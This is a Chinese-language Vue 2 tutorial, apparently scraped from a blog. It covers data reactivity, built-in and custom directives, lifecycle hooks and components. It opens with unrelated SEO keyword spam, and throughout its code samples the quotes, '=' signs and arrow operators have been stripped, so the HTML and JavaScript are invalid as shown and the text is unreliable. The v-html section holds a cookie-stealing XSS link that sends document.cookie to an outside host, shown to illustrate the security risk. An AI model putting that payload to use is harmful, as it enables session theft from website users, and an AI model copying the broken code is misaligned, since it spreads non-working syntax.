公司网站建设费计入哪个科目,在建设局网站上怎么样总监解锁,iis怎么建网站,越秀区建网站公司目录 1.Vue监测数据的原理
1.1 原理
1.1.1 数据劫持
1.1.2 观察者模式(Vue内部的实现)
1.1.3 更新组件
1.1.4 计算属性和侦听器
1.2 后添加属性做响应式#xff08;Vue.set / vm.$set#xff09;
1.3 对象和数组的响应式
1.4 数据监视案例
2.指令
2.1 内置指令
2.…目录 1.Vue监测数据的原理
1.1 原理
1.1.1 数据劫持
1.1.2 观察者模式(Vue内部的实现)
1.1.3 更新组件
1.1.4 计算属性和侦听器
1.2 后添加属性做响应式Vue.set / vm.$set
1.3 对象和数组的响应式
1.4 数据监视案例
2.指令
2.1 内置指令
2.1.1 v-text 指令
2.1.2 v-html 指令
2.1.3 v-cloak 指令
2.1.4 v-once 指令
2.1.5 v-pre 指令
2.2 自定义指令
2.2.1 自定义指令案例
2.2.2 自定义指令总结
3.生命周期
3.1 什么是生命周期
3.2 分析生命周期
3.3 生命周期的总结
4.Vue 组件化编程
4.1 模块与组件、模块化与组件化
4.1.1 模块
4.1.2 组件
4.1.3 模块化
4.1.4 组件化
4.2 文件组件
4.2.1 非单文件组件
4.2.2 单文件组件
4.3 组件的基本使用
4.4 需要注意的点
4.5 组件的嵌套
4.6 VueComponent 构造函数
4.6.1 关于VueComponent构造函数
4.6.2 关于VueComponent 和 Vue的内置关系 1.Vue监测数据的原理 1.1 原理 ...就是有响应式数据绑定的属性 Vue.js是一个用于构建用户界面的渐进式框架其核心特性之一是响应式数据绑定因此修改之后会解析模版使得页面重新渲染。Vue的响应式原理主要基于数据劫持和发布-订阅模式。以下是Vue监测数据变化的详细原理介绍 1.1.1 数据劫持 数据劫持可以理解为拿到数据对数据进行提供getter和setter封装的操作。
Vue通过“数据劫持”来实现响应式系统。具体过程如下 Object.definePropertyVue在初始化数据时会使用Object.defineProperty方法将数据对象的属性转换为 getter 和 setter。当我们访问属性值时会触发 getter当我们设置属性值时则会触发 setter。 // 示例代码
const data { name: Vue };
Object.defineProperty(data, name, {get: function() {console.log(Getting name:, this);return this._name;},set: function(newValue) {console.log(Setting name:, newValue);this._name newValue;}
});嵌套对象处理对于嵌套对象Vue会递归调用Object.defineProperty将每个属性都设置为响应式。这样深层嵌套的属性也能被监测到。 1.1.2 观察者模式(Vue内部的实现) 观察者模式可以理解为给属性加上监视功能记录属性是否被更改而且也会记录用到该属性的地方。
vue会监视data中所有层次的数据。
Vue通过观察者模式Observer pattern实现了数据变化的监测 Dep依赖收集每个被监测的属性都有一个 Dep 实例。这个实例用于收集依赖于该属性的所有观察者即使用到这个属性的组件。 Watcher每个使用该属性的组件或实例都会创建一个 Watcher 实例。在组件渲染的过程中Watcher 会注册自身到相关的 Dep 中。 class Dep {constructor() {this.subscribers []; // 存储观察者}addSub(watcher) {this.subscribers.push(watcher);}notify() {this.subscribers.forEach(watcher watcher.update()); // 通知所有观察者}
}1.1.3 更新组件 更新组件当属性被修改时也就是触发setter就会通知依赖该属性完成模版的重新渲染。
当我们通过 setter 修改了一个属性的值时会触发该属性的 setter。在这里Vue会调用 Dep.notify() 方法通知所有依赖于该属性的 Watcher 实例。
Watcher.update当Watcher接收到通知时会调用它的update()方法触发组件重新渲染。 1.1.4 计算属性和侦听器 计算属性和侦听器也是响应式数据绑定 计算属性Vue的计算属性也是基于响应式系统实现的。计算属性的 getter 会自动地将需要依赖的数据加入到依赖列表中。 侦听器侦听属性变化的机制则是Vue的另一个重要特性。侦听器通过vm.$watch方法来监听数据变化当数据变化时会执行对应的方法。 1.2 后添加属性做响应式Vue.set / vm.$set Vue.set 和 vm.$set 是 Vue 提供的方法用于向某个对象添加新的属性或向数组中添加新的元素并确保该属性或元素是响应式的。
特别注意Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性
问题直接在对象或者数组新增数据发现页面并不会显示该数据就是因为该数据没有响应式
Vue没有管理该数据。 响应式处理
(1).对象中后追加的属性Vue默认不做响应式处理(2).如需给后添加的属性做响应式请使用如下API Vue.set(targetpropertyName/indexvalue) vm.$set(targetpropertyName/indexvalue)
特别注意Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性 1.3 对象和数组的响应式 1. 如何监测对象中的数据 通过setter实现监视且要在new Vue时就传入要监测的数据。对象中后追加的属性Vue默认不做响应式处理。 2. 如何监测数组中的数据 问题
从下图可以看出friends是一个数组数组里面的元素并不会像对象那样拥有响应式也就是Vue提供的Setter和Getter方法因此往数组里面添加数据会发现页面并没有展示出来但是后台却可以看到存在该数据。那是因为Vue并不会把这定义为你对数组的修改。下面将解决这个问题。 解决问题
通过包裹数组更新元素的方法实现本质就是做了两件事
(1).调用原生对应的方法对数组进行更新。才会被Vue识别为更改给予响应式数据处理。(2).重新解析模板进而更新页面。 方式一
Vue 将被侦听的数组的变更方法进行了包裹也就是对数组的方法进一步封装所以它们也将会触发视图更新。
这些被包裹过的方法包括 特点这几个方法都会改变原数组。 方式二
变更方法顾名思义会变更调用了这些方法的原始数组。相比之下也有非变更方法例如 filter()、concat() 和 slice()。它们不会变更原始数组而总是返回一个新数组。当使用非变更方法时可以用新数组替换旧数组这样Vue才会识别数组的修改。 方式三
运用Vue.set / vm.$set 1.4 数据监视案例 点击按键实现功能 !DOCTYPE html
htmlheadmeta charsetUTF-8 /title总结数据监视/titlestylebutton {margin-top: 10px;}/style!-- 引入Vue --script typetext/javascript src./vue.js/script
/headbody!-- 准备好一个容器--div idrooth1学生信息/h1button clickstudent.age年龄1岁/button br /button clickaddSex添加性别属性默认值男/button br /button clickstudent.sex 未知 修改性别/button br /button clickaddFirstFriend在列表首位添加一个朋友/button br /button clickupdateFitstFriendName修改第一个朋友的名字为张三/button br /button clickaddOneHobby添加一个爱好/button br /button clickupdateOneHobby修改第一个爱好为开车/button br /button clickfilterSmoke过滤掉爱好中的抽烟/button br /h3姓名{{student.name}}/h3h3年龄{{student.age}}/h3h3 v-ifstudent.sex性别{{student.sex}}/h3h3爱好/h3ulli v-for(h,index) in student.hobby :keyindex{{h}}/li/ulh3朋友们/h3ulli v-for(f,index) in student.friends :keyindex{{f.name}}--{{f.age}}/li/ul/div
/bodyscript typetext/javascriptVue.config.productionTip false //阻止 vue 在启动时生成生产提示。const vm new Vue({el: #root,data: {student: {name: tom,age: 18,hobby: [抽烟, 喝酒, 烫头],friends: [{ name: jerry, age: 35 },{ name: tony, age: 36 }]}},methods: {addSex() {this.$set(this.student, sex, 男)},addFirstFriend() {this.student.friends.unshift({ name: linhan, age: 22 })},updateFitstFriendName() {this.student.friends.splice(0, 1, { name: 张三, age: 22 })},addOneHobby() {this.student.hobby.unshift(打台球)},updateOneHobby() {this.student.hobby.splice(0, 1, 开车)},filterSmoke() {// 这里注意需要重新赋值Vue才会鉴定为数组的修改this.student.hobby this.student.hobby.filter(element {return element ! 抽烟})}}})
/script/html 2.指令 2.1 内置指令 2.1.1 v-text 指令 v-text指令
1.作用向其所在的节点中渲染文本内容。2.与插值语法的区别v-text会替换掉节点中的内容{{xx}}则不会。
注意比如div v-text属性我是会被替代的内容/div 2.1.2 v-html 指令 v-html指令
1.作用向指定节点中渲染包含html结构的内容。
2.与插值语法的区别
(1).v-html会替换掉节点中所有的内容这一点跟v-text一样{{xx}}则不会。(2).v-html可以识别html结构。
3.严重注意v-html有安全性问题
(1).在网站上动态渲染任意HTML是非常危险的容易导致XSS攻击。(2).一定要在可信的内容上使用v-html永不要用在用户提交的内容上(3).可以通过Get方式将网页的Cookie携带到URL的后面因此有安全性问题。
!DOCTYPE html
htmlheadmeta charsetUTF-8 /titlev-html指令/title!-- 引入Vue --script typetext/javascript src../js/vue.js/script/headbody!-- 准备好一个容器--div idrootdiv你好{{name}}/divdiv v-htmlstr/divdiv v-htmlstr2/div/div/bodyscript typetext/javascriptVue.config.productionTip false //阻止 vue 在启动时生成生产提示。new Vue({el:#root,data:{name:尚硅谷,str:h3你好啊/h3,// 安全性问题所在str2:a hrefjavascript:location.hrefhttp://www.baidu.com?document.cookie兄弟我找到你想要的资源了快来/a,}})/script
/html 2.1.3 v-cloak 指令 v-cloak指令没有值
1.本质是一个特殊属性Vue实例创建完毕并接管容器后会删掉v-cloak属性。2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
!DOCTYPE html
htmlheadmeta charsetUTF-8 /titlev-cloak指令/titlestyle[v-cloak]{display:none;}/style!-- 引入Vue --/headbody!-- 准备好一个容器--div idrooth2 v-cloak{{name}}/h2/divscript typetext/javascript srchttp://localhost:8080/resource/5s/vue.js/script/bodyscript typetext/javascriptconsole.log(1)Vue.config.productionTip false //阻止 vue 在启动时生成生产提示。new Vue({el:#root,data:{name:尚硅谷}})/script
/html 2.1.4 v-once 指令 v-once指令
1.v-once所在节点在初次动态渲染后就视为静态内容了。也就是只会调用一次。2.以后数据的改变不会引起v-once所在结构的更新可以用于优化性能。
!DOCTYPE html
htmlheadmeta charsetUTF-8 /titlev-once指令/title!-- 引入Vue --script typetext/javascript src../js/vue.js/script/headbody!-- 准备好一个容器--div idrooth2 v-once初始化的n值是:{{n}}/h2h2当前的n值是:{{n}}/h2button clickn点我n1/button/div/bodyscript typetext/javascriptVue.config.productionTip false //阻止 vue 在启动时生成生产提示。new Vue({el:#root,data:{n:1}})/script
/html 2.1.5 v-pre 指令 v-pre指令
1.跳过其所在节点的编译过程。2.可利用它跳过没有使用指令语法、没有使用插值语法的节点会加快编译。 !DOCTYPE html
htmlheadmeta charsetUTF-8 /titlev-pre指令/title!-- 引入Vue --script typetext/javascript src../js/vue.js/script/headbody!-- 准备好一个容器--div idrooth2 v-preVue其实很简单/h2h2 当前的n值是:{{n}}/h2button clickn点我n1/button/div/bodyscript typetext/javascriptVue.config.productionTip false //阻止 vue 在启动时生成生产提示。new Vue({el:#root,data:{n:1}})/script
/html 2.2 自定义指令 2.2.1 自定义指令案例 需求1定义一个v-big指令和v-text功能类似但会把绑定的数值放大10倍。(用回调函数简单) 需求2定义一个v-fbind指令和v-bind功能类似但可以让其所绑定的input元素默认获取焦点。必须用配置对象才能实现
代码
!DOCTYPE html
htmlheadmeta charsetUTF-8 /title自定义指令/titlescript typetext/javascript src./vue.js/script
/headbody!-- 准备好一个容器--div idrooth2{{name}}/h2h2当前的n值是span v-textn/span /h2!-- h2放大10倍后的n值是span v-big-numbern/span /h2 --h2放大10倍后的n值是span v-bign/span /h2button clickn点我n1/buttonhr /input typetext v-fbind:valuen/div
/bodyscript typetext/javascriptVue.config.productionTip false//定义全局指令/* Vue.directive(fbind,{//指令与元素成功绑定时一上来bind(element,binding){element.value binding.value},//指令所在元素被插入页面时inserted(element,binding){element.focus()},//指令所在的模板被重新解析时update(element,binding){element.value binding.value}}) */new Vue({el: #root,data: {name: 尚硅谷,n: 1},directives: {//big函数何时会被调用// 1.指令与元素成功绑定时一上来, 但是指令所在的元素还没有放入页面。// 2.指令所在的模板被重新解析时。big(element, binding) {// console.log(big, this) //注意此处的this是window// console.log(binding) //得到对象// console.log(element) //得到元素DOM// binding 里面的对象包含n的value属性element.innerText binding.value * 10},fbind: {//指令与元素成功绑定时一上来bind(element, binding) {element.value binding.value},//指令所在元素被插入页面时inserted(element, binding) {// 这句话只有元素在页面才会起效element.focus()},//指令所在的模板被重新解析时update(element, binding) {element.value binding.value}}}})/script/html 2.2.2 自定义指令总结 自定义指令总结
一、定义语法
(1).局部指令
new Vue({ directives:{指令名:配置对象}
}) new Vue({directives{指令名:回调函数}
})(2).全局指令
Vue.directive(指令名,配置对象)
Vue.directive(指令名,回调函数) 二、配置对象中常用的3个回调
(1).bind指令与元素成功绑定时调用。(2).inserted指令所在元素被插入页面时调用。(3).update指令所在模板结构被重新解析时调用。 三、注意事项
1.指令定义时不加v-但使用时要加v-2.指令名如果是多个单词要使用kebab-case命名方式不要用camelCase命名。 3.生命周期 3.1 什么是生命周期 生命周期
1.又名生命周期回调函数、生命周期函数、生命周期钩子。2.是什么Vue在关键时刻帮我们调用的一些特殊名称的函数。3.生命周期函数的名字不可更改但函数的具体内容是程序员根据需求编写的。4.生命周期函数中的this指向是vm 或 组件实例对象。 3.2 分析生命周期 分为8个生命周期函数4对生命周期分别为 创建 -- 挂载 -- 挂载 -- 销毁。。。 如果想要跟踪每一个生命周期函数的执行情况可以用debugger刷新页面就会跳转到该debugger。
代码
!DOCTYPE html
htmlheadmeta charsetUTF-8 /title分析生命周期/title!-- 引入Vue --script typetext/javascript src../js/vue.js/script/headbody!-- 准备好一个容器--div idroot :xnh2 v-textn/h2h2当前的n值是{{n}}/h2button clickadd点我n1/buttonbutton clickbye点我销毁vm/button/div/bodyscript typetext/javascriptVue.config.productionTip false //阻止 vue 在启动时生成生产提示。new Vue({el:#root,// template:// div// h2当前的n值是{{n}}/h2// button clickadd点我n1/button// /div// ,data:{n:1},methods: {add(){console.log(add)this.n},bye(){console.log(bye)this.$destroy()}},watch:{n(){console.log(n变了)}},beforeCreate() {console.log(beforeCreate)},created() {console.log(created)},beforeMount() {console.log(beforeMount)},mounted() {console.log(mounted)},beforeUpdate() {console.log(beforeUpdate)},updated() {console.log(updated)},beforeDestroy() {console.log(beforeDestroy)},destroyed() {console.log(destroyed)},})/script
/html 3.3 生命周期的总结 常用的生命周期钩子
1.mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。2.beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。一般配合this.$destroy()使用就会调用beforeDestroy生命周期函数。 关于销毁Vue实例
1.销毁后借助Vue开发者工具看不到任何信息。2.销毁后自定义事件会失效但原生DOM事件依然有效。3.一般不会在beforeDestroy操作数据因为即便操作数据也不会再触发更新流程了。 4.Vue 组件化编程 4.1 模块与组件、模块化与组件化 模块和组件其实都是为了能够实现代码的复用性而且比较好维护。 4.1.1 模块 1. 理解: 向外提供特定功能的 js 程序, 一般就是一个 js 文件 2. 为什么: js 文件很多很复杂 3. 作用: 复用 js, 简化 js 的编写, 提高 js 运行效率 4.1.2 组件 定义用来实现 局部 功能 效果的代码html、css、js和资源图片、视频的 集合 。 作用: 复用编码, 简化项目编码, 提高运行效率。 通过传统的编写方式和组件化的编写方式带来的好处 4.1.3 模块化 当应用中的 js 都以模块来编写的, 那这个应用就是一个模块化的应用。 4.1.4 组件化 当应用中的功能都是多组件的方式来编写的, 那这个应用就是一个组件化的应用,。 4.2 文件组件 4.2.1 非单文件组件 1.定义
非单文件组件通常指将组件的模板、逻辑和样式分散在多个文件中。 2.结构
HTML 模板可以在 HTML 文件中JavaScript 逻辑可以在单独的 JavaScript 文件中样式可以在 CSS 文件中定义。 4.2.2 单文件组件 1.定义
单文件组件将模板、脚本和样式集中在一个文件中通常以 .vue 作为文件扩展名。 2.结构
使用 template 标签定义 HTML 模板。使用 script 标签定义 JavaScript 逻辑。使用 style 标签定义样式。 4.3 组件的基本使用 Vue中使用组件的三大步骤
一、定义组件(创建组件)二、注册组件三、使用组件(写组件标签) 一、如何定义一个组件 使用Vue.extend(options)创建其中options和new Vue(options)时传入的那个options几乎一样但也有点区别
区别如下
1.el不要写为什么
最终所有的组件都要经过一个vm的管理由vm中的el决定服务哪个容器。 2.data必须写成函数为什么
避免组件被复用时数据存在引用关系。 备注使用template可以配置组件结构。 二、如何注册组件 1.局部注册靠new Vue的时候传入components选项。一般用的比较多。 2.全局注册靠Vue.component(组件名,组件)。 三、编写组件标签 school/school 代码演示
!DOCTYPE html
html langenheadmeta charsetUTF-8meta nameviewport contentwidthdevice-width, initial-scale1.0titleDocument/titlescript src./vue.js/script
/headbodydiv idroot!-- 3.使用组件 --school/schoolhrstudent/studenthr!-- 可以复用组件 --school/school/divscript// 1.创建组件const school Vue.extend({// el: #root, template: divh2学校地址{{schoolAddress}}/h2h2学校名称{{schoolName}}/h2/div,data() {return {schoolAddress: 广州花都,schoolName: GGS}}})const student Vue.extend({// el: #root, template: divh2学生名字{{studnetName}}/h2h2学生年龄{{studentAge}}/h2/div,data() {return {studnetName: 小张,studentAge: 23,}}})new Vue({el: #root,// 2.注册组件components: {school,student}})/script
/body/html 4.4 需要注意的点 几个注意点
1.关于组件名
一个单词组成
第一种写法(首字母小写)school第二种写法(首字母大写)School
多个单词组成
第一种写法(kebab-case命名)my-school第二种写法(CamelCase命名)MySchool (需要Vue脚手架支持) 备注
(1).组件名尽可能回避HTML中已有的元素名称例如h2、H2都不行。(2).可以使用name配置项指定组件在开发者工具中呈现的名字。 2.关于组件标签 第一种写法school/school 第二种写法school/备注不用使用脚手架时school/会导致后续组件不能渲染。 3.一个简写方式 const school Vue.extend(options) 可简写为const school optionsvm会进行判断
如果没有调用就帮我们调用。 4.5 组件的嵌套 步骤
1.注册的环境发生更换2.子组件的标签需要在父组件中的模版进行定义3.子组件的代码要写在父组件的前面 代码演示 !DOCTYPE html
html langenheadmeta charsetUTF-8meta nameviewport contentwidthdevice-width, initial-scale1.0titleDocument/titlescript src./vue.js/script
/headbodydiv idroot!-- 3.使用组件 --school/schoolhr!-- 编写嵌套组件 --!-- student/student --/divscript// 创建组件const student Vue.extend({template: divh2学生名字{{studnetName}}/h2h2学生年龄{{studentAge}}/h2/div,data() {return {studnetName: 小张,studentAge: 23,}}})// 1.创建组件const school Vue.extend({// 子组件的标签要编写到父组件的模版里面template: divh2学校地址{{schoolAddress}}/h2h2学校名称{{schoolName}}/h2student/student/div,data() {return {schoolAddress: 广州花都,schoolName: GGS}},// 子组件需要在父组件里面注册components: {student}})new Vue({el: #root,// 2.注册组件components: {school}})/script
/body/html 4.6 VueComponent 构造函数 4.6.1 关于VueComponent构造函数 1.school组件本质是一个名为VueComponent的构造函数且不是程序员定义的是Vue.extend生成的。 2.我们只需要写school/或school/schoolVue解析时会帮我们创建school组件的实例对象即Vue帮我们执行的new VueComponent(options)。 3.特别注意每次调用Vue.extend返回的都是一个全新的VueComponent 4.关于this指向
(1).组件配置中data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【VueComponent实例对象】。(2).new Vue(options)配置中data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【Vue实例对象】。 5.VueComponent的实例对象以后简称vc也可称之为组件实例对象。
Vue的实例对象以后简称vm。 4.6.2 关于VueComponent 和 Vue的内置关系 1.一个重要的内置关系VueComponent.prototype.__proto__ Vue.prototype2.为什么要有这个关系让组件实例对象vc可以访问到 Vue原型上的属性、方法。3. vc就是小型的vm vm可以有 el 属性而 vc没有 其他差别不大。 原型关系图